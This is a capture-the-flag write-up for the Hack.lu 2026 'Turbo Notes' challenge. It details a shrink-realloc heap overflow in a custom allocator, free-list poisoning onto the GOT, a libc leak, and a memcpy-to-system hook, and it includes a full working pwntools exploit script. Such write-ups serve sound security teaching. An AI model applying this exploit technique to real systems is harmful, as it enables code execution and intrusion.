$ cat writeup.md…
$ cat writeup.md…
Hack.lu 2026
Task: a notes app with a custom 'turbo malloc' over a global static buffer, where turbo_realloc shrinking a note memcpy's the old (rounded) size into a smaller new chunk, overflowing into free-chunk metadata. Solution: poison the free list to get an allocation over the writable GOT, leak libc from the GOT via read(), then hook memcpy@got -> system and trigger a realloc whose source is the string /readflag.
Turbo Notes — a blazingly fast note-taking application with its very own allocator. Manage your notes with the fastest malloc in the west.
English summary: A menu-driven notes application (create / delete / read /
write / expand / exit) that does not use the system malloc. It ships
its own allocator, "turbo malloc", implemented on top of a single global
char memory[1 MB]. The service is run as nobody; the flag lives in
/flag.txt (mode 400, root-owned) and can only be read by a SUID-root helper
/readflag. Therefore the objective is arbitrary code execution to run
/readflag.
0x400000), Partial RELRO (GOT is
writable), stack canary, NX enabled, not stripped, with debug info.gcc -no-pie -g (see Dockerfile); runtime is Ubuntu 24.04,
glibc 2.39.libc.so.6 and ld-linux-x86-64.so.2, so the
exact runtime can be reproduced locally.memory[1 MB] @ 0x4040c0 .. 0x5040c0 (the custom heap)
head @ 0x5040c0 (free-list head pointer)
notes[16] @ 0x5040e0 (note pointers)
note_sizes[16] @ 0x504160 (note sizes)
_end @ 0x5041e0
GOT.plt @ 0x403fe8 .. 0x404068 (writable, Partial RELRO)
puts@0x404010 write@0x404018 printf@0x404030 read@0x404038
memcpy@0x404048 __isoc99_scanf@0x404058 exit@0x404060
The custom heap sits in .bss, before the globals head, notes[] and
note_sizes[], and after it come the GOT and the PLT. This adjacency is what
makes the exploit work: an out-of-bounds write past the end of memory[] can
reach allocator globals, and a poisoned free list can hand out a chunk anywhere,
including on top of the GOT.
turbo-malloc.c)struct chunk { struct chunk *next; // MAGIC (0xf45735) if in use, else next free chunk size_t size; // usable size (multiple of 16) char memory[]; // user data }; #define CHUNK_SIZE sizeof(struct chunk) // 16 #define MAGIC ((void*)0xf45735)
turbo_malloc(size):
NULL for size == 0;size = (size + 15) & -16;memory[] and puts the remainder
on the free list;head; if the remainder after
splitting is <= CHUNK_SIZE the whole chunk is consumed, else a new free
chunk header is created for the remainder.turbo_free(ptr): computes chunk = ptr - CHUNK_SIZE, aborts unless
chunk->next == MAGIC, then pushes the chunk onto the head of the free list
(LIFO). It does not clear the user region.turbo_realloc(ptr, size):
Thevoid *new_memory = turbo_malloc(size); ... memcpy(new_memory, chunk->memory, chunk->size); // copies OLD (rounded) size turbo_free(ptr);
memcpy length is the old, 16-byte-rounded allocation size, copied
into new_memory, which may be smaller than that.turbo_realloc does not clamp the copy length to the new size. When a note is
shrunk, memcpy writes old->size bytes into the new (smaller) chunk's user
region, overflowing past its end into whatever chunk header follows it inside
memory[].
Because create/expand never let the user write beyond note_sizes[slot],
the only way to write attacker data into the heap is through this overflow. It
is a controlled heap overflow into allocator metadata: the free chunk that
follows the shrunk note has its next and size fields overwritten with
attacker-chosen values → free-list poisoning → arbitrary allocation.
Goal: get turbo_malloc to return a pointer into the GOT so we can both leak
libc (via read) and later overwrite a GOT entry (via write).
With TARGET = 0x404000 and a fake free chunk of size = 0x300:
create(0, 0x100) → note0 user at 0x4040d0, following free header at
0x4041d0.write(0, buf) where buf has, at offset 0x30 (= newsize), the bytes
next = TARGET (0x404000) and size = 0x300. (0x30 is the distance from
the post-expand user pointer to the free header; see below.)expand(0, 0x30):
turbo_malloc(0x30) returns a chunk whose header is at 0x4041d0, user at
0x4041e0, and splits off a new free header at 0x404210.turbo_realloc then memcpys the old 0x100 bytes into 0x4041e0,
so the bytes at offset 0x30 land on the free header at 0x404210,
writing next = 0x404000, size = 0x300.create(1, 0xf0) consumes the chunk at 0x4040c0 → head = 0x404210.create(2, 0x2f0) consumes the chunk at 0x404210 whole because
0x300 - 0x2f0 = 0x10 <= CHUNK_SIZE → head = 0x404000 (our forged chunk).create(3, 0x50) returns a chunk at the forged header 0x404000; its user
pointer is 0x404010 — inside the GOT. The size check size <= current->size passes because the forged header's size field is read from
[0x404008], which holds a PLT pointer (~0x401040, a huge value).At this point notes[3] points at 0x404010 (the GOT) with
note_sizes[3] = 0x50.
read(3) uses write(STDOUT_FILENO, notes[3], note_sizes[3]), i.e. it dumps
0x50 bytes straight from the GOT:
0x404010 puts 0x404018 write 0x404020 __stack_chk_fail
0x404028 setbuf 0x404030 printf 0x404038 read
0x404040 getchar 0x404048 memcpy 0x404050 perror
0x404058 __isoc99_scanf
Compute libc_base = puts_leak - LIBC.symbols['puts']. Cross-check by
recomputing the base from the other resolved symbols (write, setbuf,
printf, read, getchar, __isoc99_scanf) — they must all agree on the same
base. Caveat: memcpy is an IFUNC, so its runtime address does not equal
its symbol value; exclude it from the consistency check.
memcpy@got → systemAfter Stage 1 the free list is head = 0x404060 (with
next = 0x401030, size = 0x400fe0), so the next allocations walk up the GOT:
create(5, 0x100) → user 0x404070, head = 0x404170.create(6, 0x30) → user 0x404180, head = 0x4041b0.write(6, "/readflag\0").delete(6) → head = 0x404170. Because turbo_free does not clear user
memory, 0x404180 still holds the string /readflag.write(3, payload) where payload is the exact leaked GOT bytes with only
the memcpy@got slot (0x404048, offset 0x38 from 0x404010) replaced by
&system. All other entries are preserved — zeroing puts@got (used by the
menu loop) would segfault the process.expand(5, 0x30). turbo_realloc calls turbo_malloc(0x30), which
returns the freed chunk at 0x404180 (still containing /readflag), then
calls memcpy(new_memory, ...) — which is now system — with rdi = new_memory = 0x404180 and rsi = old note. The first argument points at the
string /readflag, so the call becomes system("/readflag"), and the
SUID-root helper prints the flag.memcpy also fires inside create_in_use_chunk (during the same
expand) with rdi = a chunk header — that call runs system(<garbage>) and
is harmless; the useful call is the second memcpy in turbo_realloc, whose
rdi is the attacker-controlled note buffer.memcpy@got should
change.libc.so.6 / ld-linux-x86-64.so.2 for a matching local
test (./ld-linux-x86-64.so.2 --library-path . ./turbo-malloc). Building a
test image that installs extra packages (e.g. gdb, python3-pip) pulls a
different libc patch level, so the puts page offset and the system offset
differ and the exploit will segfault. Rebuild from the exact Dockerfile
(sudo + socat only) if a container is needed.#!/usr/bin/env python3 from pwn import * import struct, sys context.binary = exe = ELF('./public/turbo-malloc', checksec=False) context.log_level = 'info' LIBC = ELF('./public/libc.so.6', checksec=False) HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1' PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1338 def start(): if args.DOCKER: return process(['docker', 'exec', '-i', 'turbochal', '/app/turbo-malloc']) if args.LOCAL: return process([exe.path]) if args.SSL: return remote(HOST, PORT, ssl=True) return remote(HOST, PORT) io = start() def create(slot, size): io.sendlineafter(b'> ', b'1') io.sendlineafter(b'Slot (0-15): ', str(slot).encode()) io.sendlineafter(b'Size: ', str(size).encode()) def delete(slot): io.sendlineafter(b'> ', b'2') io.sendlineafter(b'Slot (0-15): ', str(slot).encode()) def read_note(slot): io.sendlineafter(b'> ', b'3') io.sendlineafter(b'Slot (0-15): ', str(slot).encode()) def write_note(slot, data): io.sendlineafter(b'> ', b'4') io.sendlineafter(b'Slot (0-15): ', str(slot).encode()) io.sendafter(b'Data: ', data) def expand(slot, newsize): io.sendlineafter(b'> ', b'5') io.sendlineafter(b'Slot (0-15): ', str(slot).encode()) io.sendlineafter(b'New size: ', str(newsize).encode()) # ===== Stage 1: arbitrary allocation over the GOT ===== # create(0,0x100) -> note0 user 0x4040d0, free hdr 0x4041d0 # expand(0,0x30): new hdr 0x4041d0, new user 0x4041e0, split free hdr 0x404210. # memcpy copies 0x100 bytes into 0x4041e0, overwriting the free hdr at 0x404210 # with next=TARGET, size=0x300. # create(1,0xf0) consume 0x4040c0 -> head=0x404210 # create(2,0x2f0) consume 0x404210 whole -> head=TARGET # create(3,0x50) -> note3 user = TARGET+0x10 = 0x404010 (over the GOT) TARGET = 0x404000 newsize = 0x30 new_user = 0x4041e0 off = newsize # distance from new_user to the split free header create(0, 0x100) buf = bytearray(b'\x00' * 0x100) buf[off:off+8] = struct.pack('<Q', TARGET) buf[off+8:off+16] = struct.pack('<Q', 0x300) write_note(0, bytes(buf)) expand(0, newsize) create(1, 0xf0) create(2, 0x2f0) create(3, 0x50) # note3 user 0x404010 # ===== Stage 2: leak libc from the GOT ===== read_note(3) leak = io.recvn(0x50) names = ['puts','write','__stack_chk_fail','setbuf','printf','read', 'getchar','memcpy','perror','__isoc99_scanf'] vals = {n: struct.unpack('<Q', leak[i*8:i*8+8])[0] for i, n in enumerate(names)} bases = {} for n in ['puts','write','setbuf','printf','read','getchar','__isoc99_scanf']: o = LIBC.symbols.get(n) if o and vals[n] > 0x1000: bases[n] = vals[n] - o assert len(set(bases.values())) == 1, ('libc mismatch', bases) # memcpy excluded (IFUNC) libc_base = bases['puts'] system = libc_base + LIBC.symbols['system'] log.success('libc base = %#x system = %#x' % (libc_base, system)) # ===== Stage 3: plant command, hook memcpy->system, trigger ===== # After stage1 head = 0x404060 (next=0x401030, size=0x400fe0) create(5, 0x100) # user 0x404070, head 0x404170 create(6, 0x30) # user 0x404180, head 0x4041b0 write_note(6, b'/readflag\x00') delete(6) # head = 0x404170; user 0x404180 still "/readflag" memcpy_got_off = 0x404048 - 0x404010 # 0x38 payload = bytearray(leak) # preserve all other GOT entries payload[memcpy_got_off:memcpy_got_off+8] = struct.pack('<Q', system) write_note(3, bytes(payload)) # realloc(note5) -> turbo_malloc returns 0x404180 ("/readflag") # -> memcpy(new_memory, ...) == system("/readflag") log.info('triggering...') expand(5, 0x30) data = io.recvall(timeout=8).decode('latin1', 'replace') print(data)
The flag is printed by the SUID /readflag helper (format flag{REDACTED}).
Use this technique when:
malloc / free / realloc wrappers — the interesting bugs live in the
wrapper, not in glibc.realloc-style wrapper does memcpy(new, old->memory, old->size) and does
not clamp to the new size: shrinking is a controlled overflow into
whatever follows the new chunk.next / size inline and the allocator is first-fit with
no consolidation, so overwriting a free header yields an arbitrary
allocation (next = target, large size).read/write primitive) and a
write target (hook a libc function's GOT slot).read/write note primitive copies exactly note_sizes[slot]
bytes — a small arbitrary-allocation chunk over the GOT gives both the leak
and the overwrite with the same primitive.free does not zero user memory: a freed chunk can be used as a
pre-planted string (/readflag, /bin/sh) that a later hook (memcpy →
system) consumes as its argument./readflag helper plus a service running as an unprivileged user
(here nobody) means the win condition is code execution, not a file read.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar